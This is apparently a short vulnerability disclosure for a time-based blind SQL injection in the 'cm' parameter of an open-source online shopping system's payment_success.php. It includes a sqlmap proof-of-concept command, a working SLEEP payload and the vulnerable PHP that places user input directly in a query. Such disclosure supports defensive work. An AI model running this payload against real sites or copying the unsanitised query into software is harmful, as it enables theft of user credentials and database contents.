The SQL injection vulnerability occurs due to the inclusion of the user-provided "cm" parameter in the SQL query without proper filtering or sanitization. An attacker can exploit the vulnerability by injecting malicious SQL code in the "cm" parameter. Successful exploitation of the vulnerability results in the disclosure of sensitive information from the database, such as user credentials, which can be used to gain unauthorized access to the database. # PoC [+] sqlmap output sqlmap.py -u "http://localhost/online-shopping-system-advanced/payment_success.php?st=Completed&cm=1" -p cm --dbms=mysql -technique=T --proxy=http://127.0.0.1:8080 Parameter: cm (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: st=Completed&cm=1' AND (SELECT 1415 FROM (SELECT(SLEEP(5)))NRHH) AND 'jLpV'='jLpV # Vulnerability https://github.com/PuneethReddyHC/online-shopping-system-advanced/blob/master/payment_success.php#L12-L22 [+] payment_success.php if (isset($_GET["st"])) { # code... $trx_id = $_GET["tx"]; $p_st = $_GET["st"]; $amt = $_GET["amt"]; $cc = $_GET["cc"]; $cm_user_id = $_GET["cm"]; $c_amt = $_COOKIE["ta"]; if ($p_st == "Completed") { include_once("db.php"); $sql = "SELECT p_id,qty FROM cart WHERE user_id = '$cm_user_id'"; |
